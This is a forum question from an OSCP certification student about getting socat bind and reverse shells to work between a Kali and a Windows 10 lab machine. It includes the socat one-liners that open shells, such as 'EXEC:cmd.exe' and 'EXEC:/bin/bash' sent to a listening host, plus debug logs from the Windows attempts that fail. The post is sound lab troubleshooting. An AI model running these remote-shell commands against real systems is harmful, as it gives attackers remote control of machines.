title: Socat - How to create a windows reverse shell
body: <p>I recently upgraded my OSCP material to get the new OSCP version 2020 and I came across the chapter with socat to create encrypted bind shell/reverse shell. I thought I understood how to use it, but my attempts to send an encrypted reverse shell from my windows machine to my Kali machine has been unsuccessfuls. I decided to do some trials and error with an unencrypted bind shell on both sides.</p>
  <p><strong>Here is what worked for me :</strong></p>
  <ul>
  <li>Kali Bind Shell (Getting /bin/bash on Windows by connecting to the kali binded shell socket)</li>
  <li>Kali Reverse Shell (Getting /bin/bash on Windows by sending it to the windows listening socket)</li>
  </ul>
  <p><strong>Here's what did not worked for me :</strong></p>
  <ul>
  <li>Windows Bind Shell (Getting cmd.exe by connecting to the windows listening shell socket)</li>
  <li>Windows Reverse Shell (Getting cmd.exe by sending it to the Kali listening socket)</li>
  </ul>
  <p><strong>Here is what i did :</strong></p>
  <p><strong>Kali Bind Shell - OK</strong></p>
  <p><em>Kali (192.168.119.145)</em></p>
  <p><code>socat -d -d -d TCP4-LISTEN:4444,fork EXEC:/bin/bash</code></p>
  <p><em>Windows 10 (192.168.145.10)</em></p>
  <p><code>socat -d -d -d - TCP4:192.168.119.145:4444 </code></p>
  <p><strong>Kali Reverse Shell - OK</strong></p>
  <p><em>Windows 10 (192.168.145.10)</em></p>
  <p><code>socat -d -d -d TCP4-LISTEN:4444,fork STDOUT</code></p>
  <p><em>Kali (192.168.119.145)</em></p>
  <p><code>socat -d -d -d TCP4:192.168.145.10:4444 EXEC:/bin/bash</code></p>
  <p><strong>Windows Bind Shell - NOT OK</strong></p>
  <p><em>Windows 10 (192.168.145.10)</em></p>
  <p><code>socat -d -d -d TCP4-LISTEN:4444,fork EXEC:cmd.exe</code></p>
  <p><em>Kali (192.168.119.145)</em></p>
  <p><code>socat -d -d -d - TCP4:192.168.145.10:4444</code></p>
  <p><strong>Windows Reverse Shell - NOT OK</strong></p>
  <p><em>Kali (192.168.119.145)</em></p>
  <p><code>socat -d -d -d TCP4-LISTEN:4444,fork STDOUT</code></p>
  <p><em>Windows 10 (192.168.145.10)</em></p>
  <p><code>socat -d -d -d TCP4:192.168.119.145:4444 EXEC:cmd.exe</code></p>
  <p><strong>Here is what I get :</strong></p>
  <p><strong>Windows bind shell - Windows Machine</strong></p>
  <pre><code>C:\Windows\system32&gt;socat -d -d -d TCP4-LISTEN:443,fork EXEC:cmd.exe
  2020/02/18 10:22:04 socat[3712] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
  2020/02/18 10:22:04 socat[3712] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
  2020/02/18 10:22:04 socat[3712] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
  2020/02/18 10:22:04 socat[3712] I setting option &quot;fork&quot; to 1
  2020/02/18 10:22:04 socat[3712] I socket(2, 1, 6) -&gt; 5
  2020/02/18 10:22:04 socat[3712] I starting accept loop
  2020/02/18 10:22:04 socat[3712] N listening on AF=2 0.0.0.0:443
  2020/02/18 10:22:25 socat[3712] I accept(5, {2, AF=2 192.168.119.145:36796}, 16) -&gt; 6
  2020/02/18 10:22:25 socat[3712] N accepting connection from AF=2 192.168.119.145:36796 on AF=2 192.168.145.10:443
  2020/02/18 10:22:25 socat[3712] I permitting connection from AF=2 192.168.119.145:36796
  2020/02/18 10:22:25 socat[3712] N forked off child process 4252
  2020/02/18 10:22:25 socat[4252] I just born: child proces2020/02/18 10:22:25 socat[3712] I close(6)
  2020/02/18 10:22:25 socat[4252] I just born: child process 4252
  2020/02/18 10:22:25 socat[4252] I close(5)stening
  2020/02/18 10:22:25 socat[4252] N forking off child, using socket for reading and writing
  2020/02/18 10:22:25 socat[4252] I socketpair(1, 1, 0, {5,7}) -&gt; 0
  2020/02/18 10:22:25 socat[4252] N forked off child process 56402020/02/18 10:22:25 socat[5640] I just born: child proces
  2020/02/18 10:22:25 socat[4252] N forked off child process 5640
  2020/02/18 10:22:25 socat[5640] I close(5)
  2020/02/18 10:22:25 socat[5640] I dup2(7, 0) -&gt; 0
  2020/02/18 10:22:25 socat[5640] I dup2(7, 1) -&gt; 1ened all sock addresses
  2020/02/18 10:22:25 socat[5640] I close(7) data transfer loop with FDs [6,6] and [5,5]
  2020/02/18 10:22:25 socat[5640] N execvp'ing &quot;cmd.exe&quot;
  The process tried to write to a nonexistent pipe.
  The process tried to write to a nonexistent pipe.
  The process tried to write to a nonexistent pipe.
  The process tried to write to a nonexistent pipe.
  The process tried to write to a nonexistent pipe.
  2020/02/18 10:22:25 socat[4252] W read(5, 0x20044610, 8192): Connection reset by peer
  2020/02/18 10:22:25 socat[3712] N childdied(): handling signal 202020/02/18 10:22:25 socat[4252] I childdied(signum=20)
  2020/02/18 10:22:25 socat[4252] I waitpid(): child 5640 exited with status 0
  2020/02/18 10:22:25 socat[4252] I childdied() finishedANG): No child processes
  2020/02/18 10:22:25 socat[4252] N socket 2 to socket 1 is in error
  2020/02/18 10:22:25 socat[4252] N socket 2 (fd 5) is at EOF
  2020/02/18 10:22:25 socat[4252] I shutdown(6, 1)
  2020/02/18 10:22:25 socat[4252] I terminated child did not leave data for us
  2020/02/18 10:22:25 socat[4252] I poll timed out (no data within 0.500000 seconds)
  2020/02/18 10:22:25 socat[4252] I shutdown(6, 2)
  2020/02/18 10:22:25 socat[4252] I shutdown(5, 2)
  2020/02/18 10:22:25 socat[4252] N exiting with status 0
  2020/02/18 10:22:25 socat[3712] N childdied(): handling signal 20
  2020/02/18 10:22:25 socat[3712] I childdied(signum=20)
  2020/02/18 10:22:25 socat[3712] I childdied(20): cannot identify child 4252
  2020/02/18 10:22:25 socat[3712] I waitpid(): child 4252 exited with status 0
  2020/02/18 10:22:25 socat[3712] I waitpid(-1, {}, WNOHANG): No child processes
  2020/02/18 10:22:25 socat[3712] I childdied() finished
  </code></pre>
  <p><strong>Windows Bind Shell - Kali Machine</strong></p>
  <pre><code>root@kali:/mnt/hgfs/Shared/OSCPLabsVPN/V2# socat -d -d -d - TCP4:192.168.145.10:443
  2020/02/18 13:22:24 socat[9004] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
  2020/02/18 13:22:24 socat[9004] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/)
  2020/02/18 13:22:24 socat[9004] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
  2020/02/18 13:22:24 socat[9004] N reading from and writing to stdio
  2020/02/18 13:22:24 socat[9004] N opening connection to AF=2 192.168.145.10:443
  2020/02/18 13:22:24 socat[9004] I starting connect loop
  2020/02/18 13:22:24 socat[9004] I socket(2, 1, 6) -&gt; 5
  2020/02/18 13:22:24 socat[9004] N successfully connected from local address AF=2 192.168.119.145:36796
  2020/02/18 13:22:24 socat[9004] I resolved and opened all sock addresses
  2020/02/18 13:22:24 socat[9004] N starting data transfer loop with FDs [0,1] and [5,5]
  2020/02/18 13:22:25 socat[9004] N socket 2 (fd 5) is at EOF
  2020/02/18 13:22:25 socat[9004] I poll timed out (no data within 0.500000 seconds)
  2020/02/18 13:22:25 socat[9004] I shutdown(5, 2)
  2020/02/18 13:22:25 socat[9004] N exiting with status 0
  </code></pre>
  <p><strong>Windows Reverse Shell - Kali Machine</strong></p>
  <pre><code>root@kali:/mnt/hgfs/Shared/OSCPLabsVPN/V2# socat -d -d -d TCP4-LISTEN:443 STDOUT
  2020/02/18 13:07:13 socat[8925] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
  2020/02/18 13:07:13 socat[8925] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
  2020/02/18 13:07:13 socat[8925] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
  2020/02/18 13:07:13 socat[8925] I socket(2, 1, 6) -&gt; 5
  2020/02/18 13:07:13 socat[8925] I starting accept loop
  2020/02/18 13:07:13 socat[8925] N listening on AF=2 0.0.0.0:443
  2020/02/18 13:07:18 socat[8925] I accept(5, {2, AF=2 192.168.145.10:61633}, 16) -&gt; 6
  2020/02/18 13:07:18 socat[8925] N accepting connection from AF=2 192.168.145.10:61633 on AF=2 192.168.119.145:443
  2020/02/18 13:07:18 socat[8925] I permitting connection from AF=2 192.168.145.10:61633
  2020/02/18 13:07:18 socat[8925] I close(5)
  2020/02/18 13:07:18 socat[8925] N using stdout for reading and writing
  2020/02/18 13:07:18 socat[8925] I resolved and opened all sock addresses
  2020/02/18 13:07:18 socat[8925] N starting data transfer loop with FDs [6,6] and [1,1]
  2020/02/18 13:07:18 socat[8925] N socket 1 (fd 6) is at EOF
  2020/02/18 13:07:18 socat[8925] I poll timed out (no data within 0.500000 seconds)
  2020/02/18 13:07:18 socat[8925] I shutdown(6, 2)
  2020/02/18 13:07:18 socat[8925] N exiting with status 0
  </code></pre>
  <p><strong>Windows Reverse Shell - Windows Machine</strong></p>
  <pre><code>C:\Windows\system32&gt;socat -d -d -d TCP4:192.168.119.145:443 EXEC:cmd.exe
  2020/02/18 10:06:39 socat[5396] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
  2020/02/18 10:06:39 socat[5396] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
  2020/02/18 10:06:39 socat[5396] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
  2020/02/18 10:06:39 socat[5396] N opening connection to AF=2 192.168.119.145:443
  2020/02/18 10:06:39 socat[5396] I starting connect loop
  2020/02/18 10:06:39 socat[5396] I socket(2, 1, 6) -&gt; 5
  2020/02/18 10:06:39 socat[5396] N successfully connected from local address AF=2 192.168.145.10:61630
  2020/02/18 10:06:39 socat[5396] N forking off child, using socket for reading and writing
  2020/02/18 10:06:39 socat[5396] I socketpair(1, 1, 0, {6,7}) -&gt; 0
  2020/02/18 10:06:39 socat[5396] N forked off child process 2688
  2020/02/18 10:06:39 socat[2688] I just born: child process 2688
  2020/02/18 10:06:39 socat[5396] N forked off child process 2688
  2020/02/18 10:06:39 socat[5396] I close(7)
  2020/02/18 10:06:39 socat[5396] I resolved and opened all sock addresses
  2020/02/18 10:06:39 socat[5396] N starting data transfer loop with FDs [5,5] and [6,6]
  2020/02/18 10:06:39 socat[2688] I close(6)
  2020/02/18 10:06:39 socat[2688] I dup2(7, 0) -&gt; 0
  2020/02/18 10:06:39 socat[2688] I dup2(7, 1) -&gt; 1
  2020/02/18 10:06:39 socat[2688] I close(7)
  2020/02/18 10:06:39 socat[2688] N execvp'ing &quot;cmd.exe&quot;
  The process tried to write to a nonexistent pipe.
  The process tried to write to a nonexistent pipe.
  The process tried to write to a nonexistent pipe.
  The process tried to write to a nonexistent pipe.
  The process tried to write to a nonexistent pipe.
  2020/02/18 10:06:39 socat[5396] W read(6, 0x20044228, 8192): Connection reset by peer
  2020/02/18 10:06:39 socat[5396] N childdied(): handling signal 20
  2020/02/18 10:06:39 socat[5396] I childdied(signum=20)
  2020/02/18 10:06:39 socat[5396] I exec'd process 2688 on socket 1 terminated
  2020/02/18 10:06:39 socat[5396] I waitpid(): child 2688 exited with status 0
  2020/02/18 10:06:39 socat[5396] I waitpid(-1, {}, WNOHANG): No child processes
  2020/02/18 10:06:39 socat[5396] I childdied() finished
  2020/02/18 10:06:39 socat[5396] N socket 2 to socket 1 is in error
  2020/02/18 10:06:39 socat[5396] N socket 2 (fd 6) is at EOF
  2020/02/18 10:06:39 socat[5396] I shutdown(5, 1)
  2020/02/18 10:06:39 socat[5396] I terminated child did not leave data for us
  2020/02/18 10:06:39 socat[5396] I poll timed out (no data within 0.500000 seconds)
  2020/02/18 10:06:39 socat[5396] I shutdown(5, 2)
  2020/02/18 10:06:39 socat[5396] I shutdown(6, 2)
  2020/02/18 10:06:39 socat[5396] N exiting with status 0
  </code></pre>
  <p>What am I doing wrong here ?</p>
  <p>Why can't I attach a Windows cmd.exe process to a socket ?</p>
  <p><strong>PS : I know the timestamps between my exemples doesn't match</strong></p>